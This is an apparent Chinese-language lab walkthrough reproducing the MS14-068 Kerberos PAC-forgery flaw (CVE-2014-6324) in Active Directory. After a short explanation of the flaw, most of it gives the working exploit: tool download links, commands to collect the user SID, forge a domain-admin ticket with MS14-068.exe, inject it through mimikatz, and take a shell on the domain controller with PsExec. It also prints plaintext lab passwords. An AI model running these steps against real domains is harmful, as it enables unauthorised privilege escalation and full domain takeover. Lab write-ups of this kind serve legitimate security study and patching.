MS14-068域控提权漏洞(CVE-2014-6324)

0x01 漏洞详情

本场景中包含了域控和域用户, 通过登录域用户主机对域控进行攻击, 攻击成功后将域内任意用户权限提升至域管理级别, 从而获取整个域权限。

0x02 虚拟机信息

节点名称 镜像名称 域用户 IP地址
域控 Windows 2008 administrator 192.168.15.251
域用户 Win7 liming 192.168.15.199

0x03 漏洞原理

用户在向 Kerberos 密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的 Kerberos 票据。如果票据声明自己有域管理员权限,而KDC在处理该票据时未验证票据的签名,那么,返给用户的TGT就使普通域用户拥有了域管理员权限。该用户可以将TGT发送到KDC,KDC的TGS(票据授权服务)在验证了TGT后,将服务票据(Server Ticket)发送给该用户,而该用户拥有访问该服务的权限,从而使攻击者可以访问域内的资源。

漏洞原因:

A、在域中默认允许设置Include-pac的值为False(不能算漏洞,应该是微软对于某些特定场景的特殊考虑设计出的机制)。

B、PAC中的数字签名可以由Client端指定,并且Key的值可以为空。

C、PAC的加密方式也可以由Client指定,并且Key的值为generate_subkey函数生成的16位随机数。

D、构造的PAC中包含高权限组的SID内容。

也就是说通过这几点Client完全伪造了一个PAC发送给KDC,并且KDC通过Client端在请求中指定的加密算法来解密伪造的PAC以及校验数字签名,并验证通过。

0x04 漏洞利用前提

1.域控没有打MS14-068的补丁

2.攻击者拿下了一台域内的普通计算机,并获得普通域用户以及密码/hash值,以及用户的suid

0x05 利用的工具

Ms14-068.exe 下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
PSexec 下载地址:https://download.sysinternals.com/files/PSTools.zip
mimikatz 下载地址:https://github.com/gentilkiwi/mimikatz/releases

0x06 漏洞复现

在命令行中输入whoami 查看当前用户

image-20210625171029274

查看用户的 SID

执行whoami /all获取sid将sid号复制下来。

image-20210625171138816

获取域控主机名

net group "domain controllers" /do

image-20210625171714405

生成高权限票据

使用MS14-068.exe工具生成票据,网上的版本有很多,有py版本的,有windows可执行文件exe版本的

image-20210625171241739

ms14-068 -u 域用户名@域名 -p 域用户密码 -s 域sid号 -d 域控主机名

域成员:liming

域名:sec.com

liming的 sid:S-1-5-21-1051416441-2990317049-3628072545-1182

域控制器地址:192.168.15.251

域成员 mary 的密码:admin!@#45

使用命令如下:

MS14-068.exe -u liming@sec.com -p liming123 -s S-1-5-21-1051416441-2990317049-3628072545-1182 -d SCENE

image-20210625172516101

之后会在当前路径下生成一个名为 :TGT_liming@sec.com.ccahe.ccache 的票据文件。

image-20210628172154595

查看注入前的权限

测试是否可以访问域控共享文件

dir \\域控主机名.域名\c$

image-20210625172252086

可以看到显示 “拒绝访问”,这是正常,域普通用户当然没有权限访问域控共享文件。

清除内存中所有票据

进入mimikatz目录 在改文件下 右键选择"在此处打开命令行窗口"

image-20210625172552383

进入 mimikatz

kerberos::purge  清除票据(清空当前系统中的票据,防止其他票据对实验环境进行干扰)
kerberos::list   //查看凭证

image-20210625172912446

将高权限票据注入内存

使用以下命令将票据注入内存

kerberos::ptc 凭证地址

image-20210625173052021

显示 Injecting ticket:OK ,表示注入成功!

验证权限

再次访问域控的共享文件,即可发现已经成功列出目录了

image-20210625173142716

使用 Psexec64.exe 横向移动, 在wndowsTools文件夹中右键选择"在此处打开命令行窗口"

image-20210625173224157-

在命令行中输入, 成功获取域控权限。

psexec.exe \\scene.sec.com cmd

image-20210625180214716